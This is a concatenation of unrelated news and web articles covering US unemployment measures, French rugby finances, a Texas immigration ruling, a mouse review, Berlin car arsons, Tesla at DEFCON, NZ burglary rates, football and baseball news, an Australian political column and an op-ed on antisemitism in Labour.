better track long-term unemployment.  As many observers have pointed out, the official unemployment definition leaves out some significant groups. The underemployed – part-time workers who would prefer to work full-time – are counted among the employed. And discouraged workers – people who’d like a job but have stopped looking because they don’t believe any work is available – aren’t counted as part of the labor force at all.  But the CPS asks people a lot more than whether they are working or searching for work. Questions include how long jobless people have been out of work, how recently they looked for work, why part-timers aren’t working full time, why people choose not to look for work, and even why people with jobs may not have been working during the survey period (for example, if they were sick, on vacation, temporarily laid off or snowed in).  All that extra data enables the BLS to calculate six different measures of labor underutilization, labeled U-1 through U-6, with broader or narrower parameters than the official unemployment rate (which is known as U-3). The broadest, U-6, includes all “marginally attached” workers (including discouraged workers) and involuntary part-time workers. The seasonally adjusted U-6 rate stood at 9.4% in January; since 1994 it has ranged from 6.8% (in October 2000) to 17.1% (most recently in April 2010). While the U-6 typically runs anywhere from 3 to 7 percentage points higher than the regular unemployment rate, with the gap wider during recessions and narrower in good economic times, it tends to follow the same pattern as the official unemployment rate.  Beyond the unemployment rate, a key metric in the monthly jobs report is the labor force participation rate – the share of the 16-and-over civilian non-institutional population either working or looking for work. The participation rate rose for several decades, peaked in early 2000 at 67.3%, then began falling; in January it was 62.9%, about where it was in the late 1970s. Labor economists generally agree that waves of retiring Baby Boomers explain part (but not all) of the decline, which has been especially steep for men in their prime working years.  There’s also the employment-population ratio, which measures employed people as a percentage of the 16-and-over civilian non-institutional population. Though the ratio has some quirks, it’s less affected by seasonal variations or short-term fluctuations in labor-market behavior than the unemployment rate. According to the January jobs report, the seasonally adjusted employment-population ratio was 59.9%, three-tenths of a percentage point higher than it was a year earlier.  Like the labor force participation rate, the employment-population ratio can be affected by more people retiring or deciding to go back to school. That’s why many labor-market economists focus on the 25-to-54 age group, which strips out most students and retirees. In January, the employment-population ratio for that subgroup was a seasonally adjusted 78.2%, a figure that’s been constant for the past four months. While that’s better than it was during the long hangover from the Great Recession (only 75.2% of 25- to 54-year-olds were employed in January 2011), it’s still below the indicator’s pre-recession high (80.3% in January 2007).  It’s also important to remember that not all employment is created equal. Before the Great Recession, fewer than 20% of all part-time workers said they were working less than 35 hours a week for economic reasons, such as slack demand or inability to find full-time work. During the slump, that share jumped to a third of all part-timers; the “involuntary part-time” share has fallen since, to 22.2% of all part-timers in January, but still is above typical pre-recession levels.  Note: This post has been updated with January 2017 unemployment data. It was originally published in June 2013.  Topics: Economic Policy, Business and Labor, Economic and Business News, Work and Employment, National Economy
-Contrary to what some may think, the Top 14 salary cap is rigorously policed and hefty punishments await those who transgress. Nonetheless, that doesn't prevent some French clubs finding innovative ways to reward their very best players. Gavin Mortimer reports.  Among the less interesting pages on the official France Federation website is one entitled ‘DNACG’. I don’t recommend a visit, not unless you’re an insomniac. Let me explain. DNACG stands for Direction Nationale d’Aide et de Contrôle de Gestion and, as one French newspaper recently put it, it’s the “financial gendarme of professional rugby”. In other words, the DNACG’s job is to police the finances of the 30 professional French clubs (the Top 14 and the 16 clubs that comprise the Pro D2). The DNACG is managed by both the FFR and the LNR but answers ultimately to the former.  Why is this relevant? To allay suspicions in some quarters that French clubs have a somewhat laissez-aller attitude when it comes to finance, in particular staying within the €10m salary cap.  Nothing could be further from the truth. As any ex-pat who has lived in France will tell you, the French do many things well – cheese, wine and long lunches – but possibly what they excel in most is bureaucracy. Red Tape is an art form in France, and that applies to their rugby.  The DNACG’s code of practice, as published on the LNR’s website, runs to 24 pages and contains enough clauses and articles to bore all but the most stoic to tears. To cut a long story short: the DNACG has the power to scrutinise the accounts of all 30 clubs whenever it sees fit, and punish accordingly with fines up to a maximum of €2m. And they do.  The DNACG isn’t a toothless body. If it sees financial irregularities it will act. Just ask Grenoble, Bourgoin and Montauban, all of whom have been relegated from the Top 14 in the last decade as punishment for failing to balance their books.  More recently, in the summer of 2013, the DNACG expelled Carcassonne from Pro D2 to Federale 1 (although the club was later reinstated by the FFR after they raised sufficient funds) and also suspended the contracts of four Biarritz and five Perpignan players until they were satisfied the clubs had the finances to fund them. Last season the DNACG dished out heavy fines to Perpignan, Albi, Beziers and Carcassonne and also threatened them with a points reduction if they didn’t get their accounts in order.  “The DNACG has a great deal of power,” explains Jerome Riondet, the former Harlequins and Grenoble three-quarter, and now a rugby consultant for beIN Sports. “Before each season the clubs present their provisional budgets to the DNACG. Let’s say a club gives itself a €20m budget based on money from TV rights and anticipated income from sponsors and also a contribution from the regional council. The TV rights money is the only guaranteed income so if for whatever reason the money from the sponsors and regional council doesn’t all come through there will be a discrepancy in their accounts from their initial budget. If that happens, the DNACG – who can check a club’s budget at any time during a season – will punish them.”  It’s a similar story with the salary cap. Snide comments from across the Channel, in England, that the French ignore the €10m cap imposed by the LNR are dismissed by Riondet. “The clubs definitely respect the cap,” he says.  But while the clubs must stay within the law, there’s nothing that says they can’t show a little innovation. Midi Olympique reported last month that Dan Carter’s salary when he joins Racing Metro after the World Cup will be around €500,000; but on top of that it is alleged the All Blacks fly-half will receive a similar sum from his image rights including an estimated €300,000 from the operating company of Arena 92, Racing’s new home from 2016 that will also host concerts and business conferences.  It’s a strategy long employed by Mourad Boudjellal, the canny president of Toulon, who has made no secret of the fact the club has been imaginative in ensuring its top players receive the sort of sums they deserve for their talent. In an interview last season he explained that Toulon’s total wage bill was €8.55m – well within the €10m salary cap – but that nonetheless a star such as Jonny Wilkinson earned income on top of his salary.  “We’ve created with him a commercial enterprise of products branded ‘10’,” said Boudjellal. “This enterprise, based in France, generates a real turnover on the back of the sales of hats, t-shirts, polo (shirts), etc…should the proceeds from these sales be included in calculating the player’s salary? I don’t believe so.”  Boudjellal – who no longer puts his own money into the club – also dismissed as “fantasy” the rumour that some of the foreign players at Toulon had money paid into bank accounts in Jersey, telling Midi Olympique: “The chief of the DNACG spent two days in Toulon and had nothing to say about our (financial) management.”  Jerome Riondet believes Toulon’s business model, which is based on a wide network of sponsors and commercial partners, is the most stable of all Top 14 clubs. That’s not what many wish to hear, those who regard Toulon as rugby’s bête noire. But doesn’t success often breed envy?
-AUSTIN, Texas (Reuters) - A U.S. judge on Wednesday blocked sections of a Texas law intended to punish so-called “sanctuary cities”, regarded as soft on immigration, in a ruling handed down two days before the law was due to come into effect.  FILE PHOTO: A protester against the Texas state law to punish "sanctuary cities" stands outside the U.S. Federal court in San Antonio, Texas, U.S., June 26, 2017. REUTERS/Jon Herskovitz/File Photo  Chief U.S. District Judge Orlando Garcia in San Antonio’s federal court found the Texas legislation was unlikely to withstand constitutional scrutiny.  The judge’s ruling temporarily blocks part of the law that would require local law enforcement agencies in Texas to fulfill requests by U.S. immigration agents to hold immigrants in their jails until they can be picked up for deportation.  It also strikes down a provision that would have prevented local officials from adopting policies that might limit immigration enforcement in the state.  “The court cannot and does not second-guess the legislature, Garcia wrote in a 94-page decision. “However, the state may not exercise its authority in a manner that violates the United States Constitution.”  The decision in Texas could have ramifications nationwide as other Republican-controlled states are looking at legislation targeting sanctuary cities, which they say illegally shield immigrants.  The Texas law, which takes aim at any jurisdiction that refuses to cooperate with federal immigration authorities, is considered one of the toughest anti-illegal immigration efforts in the country.  The ruling will make Texas communities less safe, Texas Governor Greg Abbott, a Republican, said in a statement.  “This decision will be appealed immediately and I am confident Texas’ law will be found constitutional and ultimately be upheld,” he added.  It was the first law of its kind passed since President Donald Trump took office in January, pledging to crack down on illegal immigration.  The American Civil Liberties Union challenged the Texas measure in a lawsuit on behalf of some local jurisdictions in the state.  “The court was right to strike down virtually all of this patently unconstitutional law,” Lee Gelernt, deputy director of the ACLU’s immigrant rights project, said in a statement.  The impending law added to the anxiety felt by some illegal immigrants forced to evacuate their flooded homes in Houston after Hurricane Harvey struck southeast Texas.  Nevertheless, federal agents are not enforcing immigration law at evacuation sites, shelters or food banks where people affected by flooding are seeking aid, U.S. Immigration and Customs Enforcement said in a statement on Wednesday.  Some police chiefs have said forcing local police to work with U.S. immigration agents undermines community trust, making immigrants less likely to report crimes.  “This week’s crisis with Hurricane Harvey is just the most recent example why people need to feel safe approaching our local police and support groups, no matter what,” Steve Adler, mayor of Texas’ state capital Austin, said in a statement.
-**I purposefully waited a couple of months before writing this review so I could share my results over a long period**  I bought this mouse as I use audio editing software every day for work (at least 8 hours).  -Comfort  Firstly I wanted a mouse that would be comfortable to use over long periods. What I have found so far is it is a huge improvement over the apple mighty mouse I was using for years previously. My hand sits nicely on the top of the mouse and I don't find myself stretching much at all. I like how you can finely tweak the DPI (sensitivity) of the mouse to ensure minimal hand movement. There is a nice weight to the mouse which also seems to help give smooth tracking. It doesn't seem as heavy as the Razer Naga with 12 buttons which I tried also.  -Functionality  I bought a mouse with extra buttons as I wanted to be able to program useful shortcuts and macros that I use all the time in order to speed up my workflow. I chose this mouse because I think that 7 buttons is about the limit for me to be able to use quickly and still be able to remember what is assigned where. The 12 button mouse seemed far too squared together and I would often hit the wrong button. The 7 side buttons are nicely spaced and the circular pattern makes it easy to recall the macro you want without looking at the mouse.  I find the Razer Synapse software very easy to use and it's super quick to record new macros. I have a couple of profiles at the moment, one dedicated to my pro tools software and a general one for browsing the internet etc. The software automatically switches profile when I go from pro tools to safari for example.
-Media playback is unsupported on your device Media caption The BBC's Steve Evans says that police think other arsonists are still at large  A man has reportedly admitted burning more than 100 luxury cars in the German capital Berlin, in attacks that raised fears of political extremism.  Police say the 27-year-old, who is unemployed and has debts, was motivated by social envy and frustration to set fire to 67 cars over three months.  A further 35 cars parked nearby also went up in flames.  Some 470 cars - mainly BMWs, Mercedes and Audis - have been burnt this year in the city.  Such was the extent of the problem this year, up to 500 police were deployed on the streets at night to look for suspects and a 150-member dedicated squad was set up.  Berlin police also asked the federal authorities for high-tech equipment and helicopters with thermal image cameras.  The suspect was arrested on Sunday and confessed he had torched 67 cars between June and August, admitting that on several occasions the fire had spread to neighbouring cars.  "He wasn't motivated by politics but rather social envy," said senior police official Oliver Stepien. "He said in essence: 'I've got debts, my life stinks and others with fancy cars are better off and they deserve this'."  Earlier this month, the Berlin railway system was hit by arson attacks. Explosive devices were placed in a number of locations, including at least one on a high-speed rail track.  A previously unknown left-wing group, calling itself the Hekla Reception Committee, said it had planted the devices.
-Tesla Motors Inc (NASDAQ:TSLA) is proactive when it comes to finding the potential vulnerabilities that would affect its Model S electric vehicle. The electric car manufacturer’s CEO Elon Musk was spotted at the DEFCON, an annual security conference in Las Vegas.  According to Wall Street Journal, Tesla Motors Inc (NASDAQ:TSLA) is attending the conference to find hackers who would be willing to help the company find security flaws in the software that controls its vehicles.  Kristin Paget, a computer security researcher popularly known as the “hacker princess,” who is working for Tesla Motors Inc (NASDAQ:TSLA) said the electric car manufacturer is planning to hire around 20 to 30 hackers from the DEFCON.  Paget also said the electric car manufacturer already resolve one security flaw in its vehicles. She described the Tesla vehicle as a “super car” connected to the internet. The company can update its software online.  Previous challenge to hack Tesla cars  Last month, the Sycan+ 360 conference in Beijing challenged anyone who can successfully hack the system of the Model S and offered a $10,000 reward.  Elon Musk, the chief executive officer of Tesla Motors Inc (NASDAQ:TSLA) welcomed the competition, and requested participants to carryout responsible hacking. He clarified that the company has no involvement in the contest, but it is providing an environment for responsible researcher to discover any possible security flaw.  At the time, Musk said Tesla Motors Inc (NASDAQ:TSLA) expected the hackers to work in good faith, and the company would conduct further analysis to any legitimate vulnerability that would be discovered. Qihoo 360 Technology found ways access the Model S remotely and controlled locks, horns and skylight while the car is running. The Chinese internet security company reported the details of the security risk and solutions to Tesla.  Tesla Motors Inc (NASDAQ:TSLA) demonstrated that it is increasingly concern regarding the security of its software controlling its cars given its presence at the DEFCON. Earlier this month, Security researchers Charlie Miller and Chris Valasek released a report identifying the most hackable available in the market.  Miller and Valasek said the top three mosct hackable cars are the 2014 Jeep Cherokee from Chrysler Group, the 2014 Infiniti Q50 from Nissan Motor Co Ltd (ADR) (OTCMKTS:NSANY) (TYO:7201) and the 2015 Cadillac Escalade from General Motors Company (NYSE:GM).  In response to the report, Chrysler and Nissan said they are evaluating the claims of the security researchers, and will resolve the issue. The security researchers did not try to hack the vehicles, but they evaluated the remote access technologies in the cars such as WiFi and Bluetooth.
-Twenty-four police stations in New Zealand did not solve a single burglary in 2015.  Information released by New Zealand police showed only 9.3 per cent of all burglaries in New Zealand in 2015 were solved.  Out of the 24 police stations that did not solve any burglaries, Bulls and Russell had the worst resolution rate, with all 32 burglaries that occurred in each of the areas unsolved in 2015.  The station that solved the most burglaries was Pleasant Point, with 50 per cent of the burglaries in the area solved.  READ MORE:  *Meth discovered in baby carriers  *Napier home invasion  *Ram raid on The Warehouse  Waikouaiti solved 44 per cent of the burglaries that occurred.  Manawatu area prevention manager Inspector David White said for the Bulls area only 15 of the burglaries were in the township, the rest were rural burglaries.  Of the 32 reported, eight were for the theft of motorcycles from rural properties and another eight saw nothing taken.  "Without diminishing the sense of loss for any theft, the remainder included petrol from farm tanks, a rabbit, and chainsaws from sheds."  The rabbit stolen had been reported earlier by Stuff, and was returned home to the person it was stolen from after being found in a bush near the property.  White said there were two officers who worked in the Bulls area.  "However, our officers do work across areas and stations where necessary."  In 2015, 2072 preventative activities were recorded in the Bulls police area.  "These activities include checking people on court bail, stopping cars, hotel visits, foot patrols, and road checkpoints."  White said there were several reasons burglaries may go unsolved.  "Police follow up on all reports made to us, however, if police have exhausted all evidence, lines of inquiries, potential suspects, witnesses or other information available, it is difficult for staff to investigate these."  Any victimisation was of concern to police but White said with the burglaries averaging out in Bulls to around 2.5 reported per month, it was unlikely extra officers were needed.  Rangitikei District Mayor Andy Watson said he would be talking to the regional commander after hearing the figures for Bulls burglary rate.  "I do find it a bit concerning, I'll have to talk with the regional commander and see if it's resources or if there's any variables we can look [into]."  In Taihape, Bulls, Marton and Hunterville security cameras had been installed throughout the town.  "I'll have a chat to police about whether there's a crime prevention method we can look at, [maybe] getting information out especially to the rural people about looking after their security."  In the Manawatu area Kimbolton and Pongaroa also had a 0 per cent resolution rate for burglaries.  Kimbolton had 11 burglaries and Pongaroa 5.
-With the transfer window reaching its conclusion we take a collective look at our summer signings.  Fresh from his success with Brazil at the Confederations Cup, Paulinho was our first arrival in early July with Belgium international Nacer Chadli, Valencia captain Roberto Soldado and France international Etienne Capoue also arriving before the season got underway.  Friday saw a further three additions to our ranks in the form of young internationals Erik Lamela, Christian Eriksen and Vlad Chiriches.  “We have been extremely active, conducted our business early and have made some excellent acquisitions in the market to make us stronger this season as well as giving ourselves greater options across the squad,” reflected our Head Coach.  “We have added tremendous individual quality and this can only help us to come together as a team even quicker. There is huge belief in what we are looking to create here for the future.  "Paulinho is a player we had been chasing for quite some time. He is extremely gifted and versatile, having originally played as a defensive midfielder and now plays a more offensive role. He has an eye for goal and works hard throughout the 90 minutes, which is decisive in the Premier League.  "We are looking for Nacer Chadli to play mainly on the wings to give us width but he has also played the creative role behind the striker in the past as well as up front for Belgium so to have someone of his versatility is important to the squad. He had a good season in Holland last year and contributed a lot of goals.  "Roberto Soldado's career speaks for itself. He is an outstanding striker with so much Champions League and international experience. He is a goal scorer and has certainly lived up to that reputation in the early stages of this season already. He can only get better as he continues to adapt to his new teammates and the league.  "Etienne Capoue has grown rapidly during his time with Toulouse, he is a wonderful footballer that can play in a variety of positions and will strengthen our midfield following on from Tom Huddlestone's departure. He is a player of international quality and has great all-round ability.  “Erik Lamela is a young player of great dimensions. He is incredibly highly regarded in his homeland and has been on the radar of Europe's biggest clubs in the past so we are delighted to have him here. He has pace, is a huge threat with the ball at his feet and has a good goalscoring record from his time in Serie A as well as providing a regular supply for his teammates. I am sure he will be able to improve even further in the Premier League.  "It was always our intention to strengthen in defence following Steven Caulker's departure. I feel it is important to have four central defenders and Vlad is a great addition in this area. He is solid defensively, a leader and has the quality to bring the ball out from the back, to drive forward and has great build-up play - something that we insist upon with all our centre-backs.  "Christian Eriksen is a wonderfully creative player, who is accustomed to playing at a high level in Europe. He showed at Ajax all of his qualities and ability, particularly in terms of flair and creativity with the number of chances and assists he provided to his teammates. He has great ability to pick a pass and is an excellent link-up player.  "We can look ahead to the season with a real sense of excitement. These new additions will join with our already strong group of talented players and further enhance the quality and spirit that exists within this squad.”  Steven Caulker, Clint Dempsey, Tom Huddlestone, Scott Parker, Gareth Bale, Massimo Luongo and Nathan Byrne all departed the Club over the summer months and we wish them all the best for the future.
-#9 HOUSTON (3-0) vs. MCNEESE STATE (2-1) GAME BREAKDOWN  HOUSTON â€" No. 9 Houston Baseball will look to move to 4-0 on the year when it welcomes McNeese State to Darryl & Lori Schroeder Park Tuesday. First pitch is slated for 6:30 p.m.  The Cougars officially broke into the nation's Top 10 when they were ranked No. 9 by Baseball America, moving up three spots from their preseason ranking of No. 12.  PROMOTIONS  Tuesday, February 23 â€" 6:30 pm  Tumbler Tuesday â€" First 50 fans through the gates get a UH Tumbler  FOLLOW ALONG â€" GAMEDAY CENTRAL  Listen Live: UHCougars.com/baseradio  Watch Live: Houston All-Access w/ a paid subscription  LAST AT-BAT  The Cougars are coming off an Opening Weekend sweep over Villanova, which saw a combined 27 runs on 33 hits in the three wins. Houston earned a convincing 13-1 victory over the Wildcats to open the 2016 season before recording its first shutout of the year, a 4-0, win in Game 2 Saturday. With a 2-0 series lead and down 2-0 in the first inning of Game 3 on Sunday, the Cougars rallied to win 10-3 for the sweep.  The Opening Weekend sweep marked the third straight year Houston has accomplished that feat and fifth time in six seasons under head coach Todd Whitting.  As a team, the Cougars hit .306 â€" led by five home runs, five doubles and two triples. Freshman Joe Davis hit a team and conference-leading .556 with four walks on the weekend, followed by sophomore Corey Julks with a .500 average and a team-best six hits in three games.  Senior Jacob Campbell showed off his power, belting two of Houston's five home runs, while driving in a team-leading eight RBI vs. Villanova.  On the mound, the pitching was equally impressive â€" led by American Athletic Conference Pitcher of the Week John King, who tossed 6.0 shutout innings, allowing just one hit and nine strikeouts for his first win as a Cougar. The staff also saw a strong Opening Night performance by Preseason All-American Andrew Lantrip, who went 6.0 innings, allowing two hits with five strikeouts for the win.  Sunday's starter freshman Mitch Ullom put together a solid debut, going 5.0 strong innings, allowing just two runs on seven hits with three strikeouts for the win.  In relief, sophomore Aaron Fletcher went 3.0 hitless innings with three strikeouts for his first save of 2016.  As a staff, the Cougars posted a 1.33 ERA with 26 strikeouts in 27.0 total innings, while holding Villanova to 13 total hits and a .140 weekend average.  ABOUT MCNEESE STATE  McNeese State is coming off a weekend series win where it won 2-of-3 games over Southern Illinois at home. The Cowboys won 5-2 in Game 1, dropped Game 2, 2-1 and bounced back to win the series with an 8-4 Game 3 victory.  Will Fox led the way offensively for McNeese State, hitting .375 with three RBI and three walks for a .545 on-base percentage. Ricky Ramirez also had a great opening weekend with three hits and three runs while senior Connor Crane drove in three runs with two hits, including a homer.  The Cowboy pitching staff posted a 2.67 ERA with 26 strikeouts in 27.0 innings, led by starter Ethan Stremmel, who tossed 5.1 shutout innings with five strikeouts.  SERIES HISTORY  Houston and McNeese State will meet for the 62nd time in program history and for the first of two meetings this season.  The Cougars own the all-time record at 48-13 and are 38-8 at home vs. the Cowboys. Houston has won the last seven meetings (since March 16, 2011) between the two programs. The Cougars swept the 2015 two-game series (W, 5-4 at McNeese State; W, 9-2 at home).  PROBABLE STARTERS  Houston: RHP Marshall Kasowski  Houston will hand the ball to junior Marshall Kasowski on Tuesday vs. McNeese State. The right-hander made nine appearances in 2015 with a 1-0 record and a 2.12 ERA. In 17 innings pitched, he fanned 18 hitters. Tuesday will mark his first career start as a Cougar.  McNeese State: LHP Austin Sanders  Austin Sanders will make his debut for McNeese State after earning a redshirt for the Cowboys in 2015.  UP NEXT  The Cougars will then remain in the city to compete in the Shriners Hospitals for Children College Classic next weekend (Feb. 26-28) at Minute Maid Park vs. Texas Tech (Friday â€" 12 pm), Arkansas (Saturday â€" 3:30 pm), and TCU (Sunday â€" 2:30 pm).  For tickets to the College Classic: www.astros.com/collegeclassic  JOIN THE DUGOUT CLUB  Nationally-ranked Houston Baseball would like to encourage those wishing to support the efforts and success of the baseball student-athletes to consider joining the Dugout Club for as low as $25 a month or $300 annually.  CLICK HERE FOR MORE INFORMATION  LEVELS  PINCH HITTER  For a minimum monthly installment of $25 or a minimum one-time gift of $300, supporters can take advantage of the Pinch Hitter level, which will guarantee an invitation for two to exclusive Dugout Club events and Houston Baseball team apparel.  DIAMOND  For a minimum monthly installment of $100 or a minimum one-time gift of $1,000, supporters can take advantage of the Diamond level, which will guarantee batting practice passes for two to any home game, invitation for two to exclusive Dugout Club events and Houston Baseball apparel.  **Cougar Pride points will be applied accordingly.  For more information on joining the Dugout Club, please contact the Houston Baseball office at (713) 743-9396.  For more information regarding Cougar Pride, please call (713) 743-GOUH  BUY SEASON/ SINGLE-GAME / GROUP TICKETS  Houston Baseball will play 32 home games at Cougar Field this upcoming 2016 season and fans can purchase season tickets for as low as $99 online by visiting UHCougars.com/tickets and following the appropriate links or by clicking here.  To purchase tickets in person, fans can visit the Athletics Ticket Stadium Office located on the northeast corner of TDECU Stadium, just outside of Gate 1 off Cullen Boulevard. Parking is available in the TDECU Stadium parking garage with the first 30 minutes free of charge. Regular business hours are Monday through Friday, 10 a.m., to 5:30 p.m.  Houston Baseball will offer variable pricing on its single-game tickets and group rates.  As noted in the table above, variable pricing occurs. For weekday (Tuesday/Wednesday) games, prices range from $5-$7 depending on the choice of seating.  Weekend ((Thursday) Friday-Sunday) online pricing will range from $6-$8 per game.  GROUP RATES  Group rates are also available (as noted in the table). Weekday (Tuesday/Wednesday) and Weekend ((Thursday) Friday-Sunday) pricing occurs. Groups of 10-24 are set at $4-$5 per person, while groups of 25+ are $3-$4 per person.  All UH main campus students are admitted FREE to regular-season baseball home games with a valid student ID.  2016 SCHEDULE QUICK HITS  OUR CITY  • 32 home games; 38 in the city of Houston  • First 12 games of the season will be played in the city of Houston  • 21 of the first 25 games will be played in the city of Houston  • 18 of the first 25 games will be played at Darryl & Lori Schroeder Park  OPENING WEEKEND  • Houston will host Opening Weekend for the 11th consecutive season  • Cougars are 14-1 all-time during Opening Weekend under Todd Whitting  COLLEGE CLASSIC  • Houston to make 16th straight appearance in Houston College Classic at Minute Maid Park  • Cougars to face Texas Tech, Arkansas and TCU  • Cougars own a 20-25 all-time record in tournament; has earned seven wins over Top 30 teams  FIRST-TIME OPPONENTS  • Houston has three first-time opponents on the schedule: Villanova, Grand Canyon, George Washington  RICE & TEXAS IN SUGAR LAND, TEXAS AT CONSTELLATION FIELD  • Houston will meet both Texas (April 12) and Rice (May 17) for non-conference, midweek games at Sugar Land's Constellation Field.  NCAA TOURNAMENT COMPETITION  • 20 games this season will be played against an NCAA-tournament team from 2015  • Arkansas, TCU, Texas Southern, Rice, Texas A&M, East Carolina, Texas, USF, Tulane  STAY CONNECTED  Stay up to date with all Houston Baseball news and highlights by following us on Twitter @UHCougarBB or on Facebook at /HoustonCougarBaseball. Fans can also follow head coach Todd Whitting @toddwhitting on Twitter.
-Political porn as the sun rises  Updated  Morning television is the intellectual equivalent of having Burger Rings, smokes and an asbestos bong for breakfast (a big hello Shane Warne if you're reading).  My firm belief as a professional in the area of "What I reckon based on no evidence or qualifications whatsoever" is that AM TV turns brains into lumps of ash coloured phlegm that smell like Laurie Oakes' crack. Let's not call it a belief but a hypothesis shall we? And while you're at it you can call me Professor.  Political porn's political porn, no matter how it comes. And considering the current poor grade of it, we're all chasing for a decent hit. As a welcome distraction from Gillard verses Abbott (AKA Same Car Different Model verses Similar Features Longer Hair) the promise of a bit of girl on girl action, bit of scratching and hair pulling dragged me from my slumber this morning. My kids thought I must have been going overseas. They'd only ever seen me up pre 8am when I was going on an international flight. Or I was coming home from a night of dirty martinis.  So there I was, at 7am on the couch watching Channel Seven's Sunrise strapped in for The Great Debate between Australian Sex Party's Fiona Patten and Family First's Wendy Francis hoping my brain wouldn't break. Apparently the deal with brain synapses is 'where it fires it wires'.  I'd be lying if I didn't say I had grave fears of even limited exposure to Sunrise transforming me into a pathologically outraged tabloid reading talkback caller, mouth breathing small minded swinging voter or a chinless, neckless blog troll. Yes I was risking my neural health, for you readers. Because I love you.  So the Sex Party verses Family First. The fornicators taking on the fundamentalists. The Whore verses the Madonna. Morning glory indeed. Game on moles.  Mel (as in Kochie and Mel) was her usual 'how can you be so cheerful without pharmaceutical assistance' as the grid girl. The opponents were asked to quickly outline their positions (so many double entendres. So little time) in 30 seconds. Sex Party; Civil liberties, no internet filter, same sex marriage, euthanasia, religion out of politics, adult's rights while protecting children. Family First; fighting for G rated outdoor advertising, wanting what's best for Australia, representing mainstream Australia and Australian Families. Pro-filter. Christian values. Do we want to live in a country with no morals, no values, no sense of what's right or wrong?  So in the shallow end of the gene pool that is morning television, the least place you'd expect it, during a campaign where journalists are being accused of being hacks and the two leaders appear to be competing in a personality competition, here was a political debate. Candidates saying stuff, believing stuff, disagreeing and answering questions. Polar opposites being polar opposites. Patten's your garden-variety civil libertarian. And Francis your typical fundermentalist.  But that was what was so refreshing. As bonkers as I am sure we all think one of the parties is (I'm sure no one is tossing up whether to vote for Family First or the Australian Sex party) there was difference. Debate. I saw something I hadn't seen for a while. Passion. Not spin. Not scripted and controlled, driven by polls and informed by focus groups but a real stouch. Sure, not the best I've ever seen but with the lack of passion in the campaign any spit flying and table thumping is better than none.  Patten swung the debate off billboards suggesting something to really protect children; a royal commission into sex abuse in the church. Francis said she'd support a royal commission into sex abuse across the board. Including the sex industry. Patten had to inform Francis that no one in the sex industry had been charged with sex abuse yet thousands of church workers had.  Look out, up next, the internet filter. Francis played the 'You're either with us or with the child rapists card." Patten was forced to explain to Francis that child sex abuse is illegal, the Internet will not stop it and that anyone involved in child sex abuse should be prosecuted and sent to jail. Not allowed to continue.  Family First's take on same sex marriage? Why change something that's been around forever. That it's not about equality, but "a small minority group", "a lifestyle choice" and marriage is about "what's good for Australia." (sic) According to Francis. "There has to be a line drawn somewhere." No explanation as to why, and clearly the assumption that Family First were the only party with the moral authority to draw the line. Because God said so. Apparently "Marriage is the backbone of Australia." Seriously.  So to prove my political hypothesis 'morning television rots your brain', according to the Sunrise viewers, the party that won the debate was Family First. But I would say that. Because if I had my own political party I'd be called 'Protect Choice And Promote Diversity', 'Don't Tell Me What To Do You're Not My Mother' or 'Rack Off With Your Religion Approved Misogyny, Homophobia & Racism.'  As I watched the two go head to head, I, like anyone who has ever seen Fiona Patten advocate for the adult sex industry or represent the Australian Sex party wondered what she would look like naked. But I couldn't help thinking Family First's Wendy Francis would go off in the sack. Nothing gets me thinking about sex more than religion. Or sex. You can take the girl out of the Catholic Church but you can't take the Catholic Church out of the girl. A little bit of colour in the campaign. And that color was flesh.  Catherine Deveny is a Melbourne-based comedian, writer and mother of small boys. She no longer writes a column for The Age.  Topics: religion-and-beliefs, government-and-politics, elections  First posted
-As the Conservative party divides its time between running the country and tearing itself apart over Europe, Labour has been consumed with a rather different problem. In the past two weeks, it has had to expel two activists for overt racism. That follows the creation of an inquiry into the Labour club at Oxford University, after the co-chair resigned saying the club was riddled with racism. The racism in question is hatred of Jews.  I suspect many in Labour and on the wider left dearly wish three things to be true of this problem. That these are just a few bad apples in an otherwise pristine barrel; that these incidents aren’t actually about racism at all but concern only opposition to Israel; and that none of this reflects negatively on Jeremy Corbyn.  Start with the bad apples. The cases of Gerry Downing and Vicki Kirby certainly look pretty rotten. The former said it was time to wrestle with the “Jewish Question”, the latter hailed Hitler as a “Zionist God” and tweeted a line about Jews having “big noses”, complete with a “lol”.  It’d be so much easier if these were just two rogue cases. But when Alex Chalmers quit his post at Oxford’s Labour club, he said he’d concluded that many had “some kind of problem with Jews”. He cited the case of one club member who organised a group to shout “filthy Zionist” at a Jewish student whenever they saw her. Former Labour MP Tom Harris wrote this week that the party “does indeed have a problem with Jews”. And there is, of course, the word of Jews themselves. They have been warning of this phenomenon for years, lamenting that parts of the left were succumbing to views of Jews drenched in prejudice.  I hope many on the left will pause next time Jews raise the alarm about antisemitism  But this is the brick wall Jews keep running into: the belief that what Jews are complaining about is not antisemitism at all, but criticism of Israel. Jews hear this often. They’re told the problem arises from their own unpleasant habit of identifying any and all criticism of Israel as anti-Jewish racism. Some go further, alleging that Jews’ real purpose in raising the subject of antisemitism is to stifle criticism of Israel.  You can see the appeal of such an argument to those who use it. It means all accusations of antisemitism can be dismissed as mere Israel-boosting propaganda. But Downing and Kirby make that harder. Their explicit targets were Jews.  What of those who attack not Jews, but only Zionists? Defined narrowly, that can of course be legitimate. If one wants to criticise the historical movement that sought to re-establish Jewish self-determination in Palestine, Zionism is the right word.  But Zionism, as commonly used in angry left rhetoric, is rarely that historically precise. It has blended with another meaning, used as a codeword that bridges from Israel to the wider Jewish world, hinting at the age-old, antisemitic notion of a shadowy, global power, operating behind the scenes. For clarity’s sake, if you want to attack the Israeli government, the 50-year occupation or hawkish ultra-nationalism, then use those terms: they carry much less baggage.  To state the obvious, criticism of Israel and Zionism is not necessarily anti-Jewish: that’s why there are so many Jewish critics of Israel, inside and outside the country. But it doesn’t take a professor of logic to know that just because x is not always y, it does not follow that x can never be y. Of course opposition to Israel is not always antisemitic. But that does not mean that it is never and can never be antisemitic. As Downing and Kirby have helpfully illustrated.  I hope that, as a result, many on the left will pause next time Jews raise the alarm about antisemitism. I hope they’ll remember that, while most anti-Israel activists are acting in good faith, some are motivated more darkly, while others carelessly express their opposition to Israel in language or imagery that has a melancholy history.  It’s time we acknowledged that Oxford’s student left is institutionally antisemitic | Aaron Simons Read more  There’s a deeper reason to pause. Many good people on the left want to make things neat and simple by saying that Israel and Zionism have nothing to do with Jews or Judaism. That they can deplore the former even while they protect and show solidarity with the latter. But it’s not quite as easy as that.  While many Jews – especially in conversations with each other – condemn Israeli government policy going back many years, they do identify strongly with Israel and its people. A recent survey found that 93% of British Jews said Israel formed some part of their identity. Through ties of family or history, they are bound up with it. When Jews pray they face east – towards Jerusalem. And they have done that for 2,000 years.  It’s inconvenient, I know, but that needs to be remembered by those who 